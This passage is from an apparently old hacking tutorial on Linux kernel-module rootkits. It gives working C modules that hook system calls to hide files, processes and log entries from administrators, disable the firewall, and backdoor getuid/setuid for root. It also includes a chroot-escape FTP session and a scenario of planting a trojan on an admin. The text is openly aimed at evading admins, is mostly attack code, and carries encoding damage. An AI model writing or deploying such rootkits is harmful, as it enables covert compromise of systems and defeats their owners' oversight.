#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/ =20 int (*orig_mkdir)(const char *path); /*the original systemcall*/ int hacked_mkdir(const char *path) { return 0; /*everything is ok, but he new = systemcall does nothing*/ } int init_module(void) /*module setup*/ { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the = origal one*/ } Compile this module and start it (see I.1). Try to make a = directory, it=20 will not work.Because of returning 0 (standing for OK) we don't get an = error=20 message. After removing the module making directories is possible again. = As you=20 can see, we only need to change the corresponding entry in = sys_call_table (see=20 I.2) for intercepting a kernel systemcall.
The general approach to=20 intercepting a systemcall is outlined in the following list :
  • find your systemcall entry in sys_call_table[] (take a look at=20 include/sys/ syscall.h)
  • save the old entry of sys_call_table[X] in a function pointer = (where X=20 stands for the systemcallnumber you want to intercept)
  • save the address of the new (hacked) systemcall you defined = yourself by=20 setting sys_call_table[X] to the needed function = address
You will=20 recognize that it is very useful to save the old systemcall function = pointer,=20 because you will need it in your hacked one for emulating the original = call. The=20 first question you have to face when writing a 'Hack-LKM ' is : =
'Which=20 systemcall should I intercept'.

2. Interesting Syscalls to Intercept

Perhaps = you are=20 not a 'kernel god' and you don't know every systemcall for every user = space=20 function an application or command can use. So I will give you some = hints on=20 finding your systemcalls to take control over.
  1. read source code. On systems like Linux you can have the source = code on=20 nearly any program a user (admin) can use. Once you have found a basic = function like dup, open, write, ... go to b
  2. take a look at include/sys/syscall.h (see I.2). Try to find a = directly=20 corresponding systemcall (search for dup -> you will find SYS_dup; = search=20 for write -> you will find SYS_write; ...). If this does not work = got to=20 c
  3. some calls like socket, send, receive, ... are implemented through = one=20 systemcall - as I said before. Take a look at the include file = mentioned for=20 related systemcalls.
Remember not every C-lib function is = a=20 systemcall ! Most functions are totally unrelated to any systemcalls = !
A=20 little more experienced hackers should take a look at the systemcall = listing in=20 I.2 which provides enough information. It should be clear that User ID=20 management is implemented through the uid-systemcalls etc. If you really = want to=20 be sure you can also take a look at the library sources / kernel = sources.
The=20 hardest problem is an admin writing its own applications for checking = system=20 integrity / security. The problem concerning those programs is the lack = of=20 source code. We cannot say how this program exactly works and which = systemcalls=20 we have to intercept in order to hide our presents / tools. It may even = be=20 possible that he introduced a LKM hiding itself which implements cool=20 hacker-like systemcalls for checking the system security (the admins = often use=20 hacker techniques to defend their system...). So how do we proceed.

2.1 Finding interesting systemcalls (the = strace=20 approach)

Let's say you know the super-admin program used to check = the=20 system (this can be done in some ways,like TTY hijacking (see II.9 / = Appendix=20 A), the only problem is that you need to hide your presents from the = super-admin=20 program until that point..).
So run the program (perhaps you have to = be root=20 to execute it) using strace. # strace super_admin_proggy This will give you a really nice output of every systemcall made = by that=20 program including the systemcalls which may be added by the admin = through his=20 hacking LKM (could be possible). I don't have a super-admin-proggy for = showing=20 you a sample output, but take a look at the output of 'strace whoami' = : execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = = 0x40007000 mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 close(3) = 0 stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or = directory) open("/lib/libc.so.5", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096 mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = = 0x4000c000 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, = 0) = 0x4000c000 mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, = 0x81000) = 0x4008e000 mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, = MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 close(3) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 munmap(0x40008000, 13363) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 personality(PER_LINUX) = 0 geteuid() = 500 getuid() = 500 getgid() = 100 getegid() = 100 brk(0x804aa48) = 0x804aa48 brk(0x804b000) = 0x804b000 open("/usr/share/locale/locale.alias", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = = 0x40008000 read(3, "# Locale name alias data base\n#"..., 4096) = 2005 brk(0x804c000) = 0x804c000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x40008000, 4096) = 0 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such = file or directory) open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0 mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 close(3) = 0 geteuid() = 500 open("/etc/passwd", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = = 0x4000b000 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074 close(3) = 0 munmap(0x4000b000, 4096) = 0 fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = = 0x4000b000 write(1, "r00t\n", 5r00t ) = 5 _exit(0) = ? This is a very nice listing of all systamcalls made by the command = 'whoami', isn't it ? There are 4 interesting systemcalls to intercept in = order=20 to manipulate the output of 'whoami' geteuid() = = 500 getuid() = 500 getgid() = 100 getegid() = 100 Take a look at II.6 for an implementation of that problem. This = way of=20 analysing programs is also very important for a quick look at other = standard=20 tools.
I hope you are now able to find any systemcall which can help = you to=20 hide yourself or just to backdoor the system, or whatever you want.=20

3. Confusing the kernel's System Table

In = II.1 you saw=20 how to access the sys_call_table, which is exported through the kernel = symbol=20 table. Now think about this... We can modify any exported item=20 (functions, structures, variables, for example) by accessing them within = our=20 module.
Anything listed in /proc/ksyms can be corrupted. Remember = that our=20 module cannot be compromised that way, because we don't export any = symbols. Here=20 is a little excerpt from my /proc/ksyms file, just to show you what you = can=20 actually modify. ... 001bf1dc ppp_register_compressor 001bf23c ppp_unregister_compressor 001e7a10 ppp_crc16_table 001b9cec slhc_init 001b9ebc slhc_free 001baa20 slhc_remember 001b9f6c slhc_compress 001ba5dc slhc_uncompress 001babbc slhc_toss 001a79f4 register_serial 001a7b40 unregister_serial 00109cec dump_thread 00109c98 dump_fpu 001c0c90 __do_delay 001c0c60 down_failed 001c0c80 down_failed_interruptible 001c0c70 up_wakeup 001390dc sock_register 00139110 sock_unregister 0013a390 memcpy_fromiovec 001393c8 sock_setsockopt 00139640 sock_getsockopt 001398c8 sk_alloc 001398f8 sk_free 00137b88 sock_wake_async 00139a70 sock_alloc_send_skb 0013a408 skb_recv_datagram 0013a580 skb_free_datagram 0013a5cc skb_copy_datagram 0013a60c skb_copy_datagram_iovec 0013a62c datagram_select 00141480 inet_add_protocol 001414c0 inet_del_protocol 001ddd18 rarp_ioctl_hook 001bade4 init_etherdev 00140904 ip_rt_route 001408e4 ip_rt_dev 00150b84 icmp_send 00143750 ip_options_compile 001408c0 ip_rt_put 0014faa0 arp_send 0014f5ac arp_bind_cache 001dd3cc ip_id_count 0014445c ip_send_check 00142bc0 ip_forward 001dd3c4 sysctl_ip_forward 0013a994 register_netdevice_notifier 0013a9c8 unregister_netdevice_notifier 0013ce00 register_net_alias_type 0013ce4c unregister_net_alias_type 001bb208 register_netdev 001bb2e0 unregister_netdev 001bb090 ether_setup 0013d1c0 eth_type_trans 0013d318 eth_copy_and_sum 0014f164 arp_query 00139d84 alloc_skb 00139c90 kfree_skb 00139f20 skb_clone 0013a1d0 dev_alloc_skb 0013a184 dev_kfree_skb 0013a14c skb_device_unlock 0013ac20 netif_rx 0013ae0c dev_tint 001e6ea0 irq2dev_map 0013a7a8 dev_add_pack 0013a7e8 dev_remove_pack 0013a840 dev_get 0013b704 dev_ioctl 0013abfc dev_queue_xmit 001e79a0 dev_base 0013a8dc dev_close 0013ba40 dev_mc_add 0014f3c8 arp_find 001b05d8 n_tty_ioctl 001a7ccc tty_register_ldisc 0012c8dc kill_fasync 0014f164 arp_query 00155ff8 register_ip_masq_app 0015605c unregister_ip_masq_app 00156764 ip_masq_skb_replace 00154e30 ip_masq_new 00154e64 ip_masq_set_expire 001ddf80 ip_masq_free_ports 001ddfdc ip_masq_expire 001548f0 ip_masq_out_get_2 001391e8 register_firewall 00139258 unregister_firewall 00139318 call_in_firewall 0013935c call_out_firewall 001392d4 call_fw_firewall ... Just look at call_in_firewall, this is a function used by the = firewall=20 management in the kernel. What would happen if we replace this function = with a=20 bogus one ?
Take a look at the following LKM : #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*get the exported function*/ extern int *call_in_firewall; /*our nonsense call_in_firewall*/ int new_call_in_firewall() { return 0; } int init_module(void) /*module setup*/ { call_in_firewall=new_call_in_firewall; return 0; } void cleanup_module(void) /*module shutdown*/ { } Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this = do a=20 'ping 127.0.0.1', your kernel will produce a nice error message, because = the=20 called call_in_firewall(...) function was replaced by a bogus one (you = may skip=20 the firewall installation in this example).
This is a quite brutal = way of=20 killing an exported symbol. You could also disassemble (using gdb) a = certain=20 symbol and modify certain bytes which will change the working of that = symbol.=20 Imagine there is a IF THEN contruction used in an exported function. How = about=20 disassembling this function and searching for commands like JNZ, JNE, = ... This=20 way you would be able to patch important items. Of course, you could = lookup the=20 functions in the kernel / module sources, but what about symbols you = cannot get=20 the source for because you only got a binary module. Here the = disassembling is=20 quite interesting.

4. Filesystem related Hacks

The most = important feature=20 of LKM hacking is the abilaty to hide some items (your exploits, sniffer = (+logs), and so on) in the local filesystem.=20

4.1 How to Hide Files

Imagine how an admin = will find=20 your files : He will use 'ls' and see everything. For those who don't = know it,=20 strace'in through 'ls' will show you that the systemcall used for = getting=20 directory listings is int sys_getdents (unsigned int fd, struct = dirent *dirent, unsigned int count); So we know where to attack.The following piece of code shows the=20 hacked_getdents systemcall adapted from AFHRM (from Michal Zalewski). = This=20 module is able to hide any file from 'ls' and every program using = getdents systemcall. #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int = count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; char hide[]="ourtool"; /*the file to hide*/ /*call original getdents -> result is saved in tmp*/ tmp = (*orig_getdents) (fd, dirp, count); /*directory cache handling*/ /*this must be checked because it could be possible that a former = getdents put the results into the task process structure's dcache*/ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif /*dinode is the inode of the required directory*/ if (tmp > 0)=20 { /*dirp2 is a new dirent structure*/ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); /*copy original dirent structure to dirp2*/ memcpy_fromfs(dirp2, dirp, tmp); /*dirp3 points to dirp2*/ dirp3 = dirp2; t = tmp; while (t > 0)=20 { n = dirp3->d_reclen; t -= n; /*check if current filename is the name of the file we want to hide*/ if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL) { /*modify dirent struct if necessary*/ if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0)=20 { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*module setup*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getdents]=orig_getdents;=20 =20 } For beginners : read the comments and use your brain for 10 mins.=20
After that continue reading.
This hack is really helpful. But = remember=20 that the admin can see your file by directly accessing it. So a 'cat = ourtool' or=20 'ls ourtool' will show him our file. So never take any trivial names for = your=20 tools like sniffer, mountdxpl.c, .... Of course their are ways to = prevent an=20 admin from reading our files, just read on.

4.2 How to hide the file contents = (totally)

I never=20 saw an implementation really doing this. Of course their are LKMs like = AFHRM by=20 Michal Zalewski controlling the contents / delete functions but not = really=20 hiding the contents. I suppose their are lots of people actually using = methods=20 like this, but no one wrote on it, so I do.
It should be clear that = there are=20 many ways of doing this. The first way is very simple,just intercept an = open=20 systemcall checking if filename is 'ourtool'. If so deny any = open-attempt, so no=20 read / write or whatever is possible. Let's implement that LKM = :
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode) { char *kernel_pathname; char hide[]="ourtool"; =20 /*this is old stuff -> transfer to kernel space*/ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)&hide ) != NULL) { kfree(kernel_pathname); /*return error code for 'file does not exist'*/ return -ENOENT; } else { kfree(kernel_pathname); /*everything ok, it is not our tool*/ return orig_open(pathname, flag, mode); } } int init_module(void) /*module setup*/ { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=hacked_open; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_open]=orig_open; = =20 } This works very fine, it tells anyone trying to access our files, = that=20 they are non-existent. But how do we access those files. Well there are = many=20 ways=20
  • implement a magic-string
  • implement uid or gid check (requires creating a certain = account)
  • implement a time check
  • ...
There are thousands of possibilies which are all = very easy=20 to implement, so I leave this as an exercise for the reader.=20

4.3 How to hide certain file parts (a = prototype=20 implementation)

Well the method shown in 3.2 is very useful for our = own=20 tools / logs. But what about modifying admin / other user files. Imagine = you=20 want to control /var/log/messages for entries concerning your IP address = / DNS=20 name. We all know thousands of backdoors hiding our identity from any = important=20 logfile. But what about a LKM just filtering every string (data) written = to a=20 file. If this string contains any data concerning our identity (IP = address, for=20 example) we deny that write (we will just skip it/return). The following = implementation is a very (!!) basic prototype (!!) LKM, just for showing = it. I=20 never saw it before, but as in 3.2 there may be some people using this = since=20 years. #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count); int hacked_write(unsigned int fd, char *buf, unsigned int count) { char *kernel_buf; char hide[]="127.0.0.1"; /*the IP address we want to hide*/ =20 kernel_buf = (char*) kmalloc(1000, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, 999); if (strstr(kernel_buf, (char*)&hide ) != NULL) { kfree(kernel_buf); /*say the program, we have written 1 byte*/ return 1; } else { kfree(kernel_buf); return orig_write(fd, buf, count); } } int init_module(void) /*module setup*/ { orig_write=sys_call_table[SYS_write]; sys_call_table[SYS_write]=hacked_write; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_write]=orig_write; = =20 } This LKM has several disadvantages, it does not check for the = destination=20 it the write is used on (can be checked via fd; read on for a sample). = This=20 means the even a 'echo '127.0.0.1'' will be printed.
You can also = modify the=20 string which should be written, so that it shows an IP address of = someone you=20 really like... But the general idea should be clear.

4.4 How to redirect / monitor file = operations

This=20 idea is old, and was first implemented by Michal Zalewski in AFHRM. I = won't show=20 any code here, because it is too easy to implemented (after showing you=20 II.4.3/II.4.2).There are many things you can monitor by redirection/ = filesystem=20 events :=20
  • someone writes to a file -> copy the contents to another file = =>this=20 can be done with sys_write(...) redirection
  • someone was able to read a sensitve file -> monitor file = reading of=20 certain files
    =>this can be done with sys_read(...) = redirection
  • someone opens a file -> we can monitor the whole system for = such=20 events
    =>intercept sys_open(...) and write files opened to a = logfile;=20 this is the ways AFHRM monitors the files of a system (see IV.3 for=20 source)
  • link / unlink events -> monitor every link = created
    =>intercept=20 sys_link(...) (see IV.3 for source)
  • rename events -> monitor every file rename = event
    =>intercept=20 sys_rename(...) (see IV.4 for source)
  • ...
These are very interesting points (especially for = admins)=20 because you can monitor a whole system for file changes. In my opinion = it would=20 also be interesting to monitor file / directory creations, which use = commands=20 like 'touch' and 'mkdir'.
The command 'touch' (for example) does = not=20 use open for the creation process; a strace shows us the following = listing=20 (excerpt) : ... stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or = directory) creat("ourtool", 0666) = 3 close(3) = 0 _exit(0) = ? As you can see the system uses the systemcall sys_creat(..) to = create new=20 files. I think it is not necessary to present a source,because this task = is too=20 trivial just intercept sys_creat(...) and write every filename to = logfile with=20 printk(...).
This is the way AFHRM logs any important events.=20

4.5 How to avoid any file owner = problems

This hack=20 is not only filesystem related, it is also very important for general = permission=20 problems. Have a guess which systemcall to intercept.Phrack (plaguez) = suggests=20 hooking sys_setuid(...) with a magic UID. This means whenever a setuid = is used=20 with this magic UID, the module will set the UIDs to 0 = (SuperUser).
Let's=20 look at his implementation(I will only show the hacked_setuid = systemcall): ... int hacked_setuid(uid_t uid) { int tmp; =20 /*do we have the magic UID (defined in the LKM somewhere before*/ if (uid == MAGICUID) { /*if so set all UIDs to 0 (SuperUser)*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } ... I think the following trick could also be very helpful in certain=20 situation. Imagine the following situation: You give a bad trojan to an = (very=20 silly) admin; this trojan installs the following LKM on that system [i = did not=20 implement hide features, just a prototype of my idea] : #define = MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid() { int tmp; =20 /*check for our UID*/ if (current->uid=500) { /*if its our UID -> this means we log in -> give us a rootshell*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*orig_getuid) (); return tmp; } int init_module(void) /*module setup*/ { orig_getuid=sys_call_table[SYS_getuid]; sys_call_table[SYS_getuid]=hacked_getuid; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getuid]=orig_getuid; = =20 } If this LKM is loaded on a system we are only a normal user, login = will=20 give us a nice rootshell (the current process has SuperUser rights). As = I said=20 in part I current points to the current task structure.=20

4.6 How to make a hacker-tools-directory=20 unaccessible

For hackers it is often important to make the directory = they=20 use for their tools (advanced hackers don't use the regular local = filesystem to store their data). Using the getdents approach helped us = to hide=20 directory/files. The open approach helped us to make our files = unaccessible. But=20 how to make our directory unaccessible ?
Well - as always - take a = look at=20 include/sys/syscall.h; you should be able to figure out SYS_chdir as the = systemcall we need (for people who don't believe it just strace the 'cd' = command...). This time I won't give you any source, because you just = need to=20 intercept sys_mkdir, and make a string comparison. After this you should = make a=20 regular call (if it is not our directory) or return ENOTDIR (standing = for 'there=20 exists no directory with that name'). Now your tools should really be = hidden=20 from intermediate admins (advanced / paranoid ones will scan the HDD at = its=20 lowest level, but who is paranoid today besides us ?!). It should also = be=20 possible to defeat this HDD scan, because everything is based on=20 systemcalls.

4.7 How to change CHROOT Environments =

This idea is=20 totally taken from HISPAHACK (hispahack.ccc.de). They published a real = good text=20 on that theme ('Restricting a restricted FTP'). I will explain their = idea in=20 some short words. Please note that the following example will not = work=20 anymore, it is quite old (see wu-ftpd version). I just show it in order = to=20 explain how you can escape from chroot environments using LKMs. The = following=20 text is based on old software (wuftpd) so don't try to use it in newer = wu-ftpd=20 versions, it won't work.
HISPAHACK's paper is based on the = idea of an=20 restricted user FTP account which has the following permission layout = :
drwxr-xr-x 6 user users 1024 Jun 21 11:26 = /home/user/ drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ This scenario (which you can often find) the user (we) can rename = the bin=20 directory, because it is in our home directory.
Before doing anything = like=20 that let's take a look at whe working of wu.ftpd (the server they used = for=20 explanation, but the idea is more general). If we issue a LIST command = ../bin/ls=20 will be executed with UID=0 (EUID=user's uid). Before the execution = is actually=20 done wu.ftpd will use chroot(...) in order to set the process root = directory in=20 a way we are restricted to the home directory. This prevents us from = accessing=20 other parts of the filesystem via our FTP account (restricted).
Now = imagine=20 we could replace /bin/ls with another program, this program would be = executed as=20 root (uid=0). But what would we win, we cannot access the whole system = because=20 of the chroot(...) call. This is the point where we need a LKM helping = us. We=20 remove .../bin/ls with a program which loads a LKM supplied by us. This = module=20 will intercept the sys_chroot(...) systemcall. It must be changed in way = it will=20 no more restrict us.
This means we only need to be sure that = sys_chroot(...)=20 is doing nothing. HISPAHACK used a very radical way, they just modified=20 sys_chroot(...) in a way it only returns 0 and nothing more. After = loading this=20 LKM you can spawn a new process without being restricted anymore. This = means you=20 can access the whole system with uid=0. The following listing shows = the example=20 'Hack-Session' published by HISPAHACK : thx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) = ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in.&nbsp; Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files.</TT></PRE> ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 = . drwxr-xr-x 5 user users 1024 Jun 21 11:26 = .. d--x--x--x 2 root root 1024 Jun 21 11:26 = bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 = etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 = home 226 Transfer complete. ftp> cd .. 250 CWD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 = . drwxr-xr-x 5 user users 1024 Jun 21 21:26 = .. d--x--x--x 2 root root 1024 Jun 21 11:26 = bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 = etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 = home 226 Transfer complete. ftp> ls bin/ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. ---x--x--x 1 root root 138008 Jun 21 = 11:26 bin/ls 226 Transfer complete. ftp> ren bin bin.old 350 File exists, ready for destination name 250 RNTO command successful. ftp> mkdir bin 257 MKD command successful. ftp> cd bin 250 CWD command successful. ftp> put ls 226 Transfer complete. ftp> put insmod 226 Transfer complete. ftp> put chr.o 226 Transfer complete. ftp> chmod 555 ls 200 CHMOD command successful. ftp> chmod 555 insmod 200 CHMOD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. UID: 0 EUID: 1002 Cambiando EUID... UID: 0 EUID: 0 Cargando modulo chroot... Modulo cargado. 226 Transfer complete. ftp> bye 221 Goodbye. thx:~# --> now we start a new FTP session without being restricted (LKM is = loaded so sys_chroot(...) is defeated. So do what you want (download = passwd...) In the Appendix you will find the complete source code for the new = ls and=20 the module.

5. Process related Hacks

So far the = filesystem is=20 totally controlled by us. We discussed the most interesting 'Hacks'. Now = its=20 time to change the direction. We need to discuss LKMs confusing commands = like=20 'ps' showing processes.=20

5.1 How to hide any process

The most = important thing=20 we need everyday is hiding a process from the admin. Imagine a sniffer, = cracker=20 (should normally not be done on hacked systems), ... seen by an admin = when using=20 'ps'. Oldschool tricks like changing the name of the sniffer to = something=20 different, and hoping the admin is silly enough, are no good for the 21. = century. We want to hide the process totally. So lets look at an = implementation=20 from plaguez (some very minor changes): #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <linux/proc_fs.h> extern void* sys_call_table[]; /*process name we want to hide*/ char mtroj[] = "my_evil_sniffer"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int = count); /*convert a string to number*/ int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /*get task structure from PID*/ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /*get process name from task structure*/ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } /*check whether we need to hide this process*/ int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /*see II.4 for more information on filesystem hacks*/ int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int = count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*orig_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && = MINOR(dinode->i_dev) == 1) proc=1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n;=20 } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*module setup*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getdents]=orig_getdents; = =20 } The code seems complicated, but if you know how 'ps' and every = process=20 analyzing tool works, it is really easy to understand. Commands like = 'ps' do not=20 use any special systemcall for getting a list of the current processes = (there=20 exists no systemcall doing this). By strace'in 'ps' you will recognize = that it=20 gets its information from the /proc/ directory. There you can find lots = of=20 directories with names only consisting of numbers. Those numbers are the = PIDs of=20 all running processes on that system. Inside these directories you find = files=20 which provide any information on that process.So 'ps' just does an 'ls' = on=20 /proc/; every number it finds stands for a PID it shows in its = well-known=20 listing. The information it shows us about every process is gained from = reading=20 the files inside /proc/PID/. Now you should get the idea.'ps' must read = the=20 contents of the /proc/ directory, so it must use sys_getdents(...).We = just must=20 get the name of the a PID found in /proc/; if it is our process name we = want to=20 hide, we will hide it from /proc/ (like we did with other files in the=20 filesystem -> see 4.1). The two task functions and the invisible(...) = function are only used to get the name for a given PID found in the proc = directory and related stuff. The file hiding should be 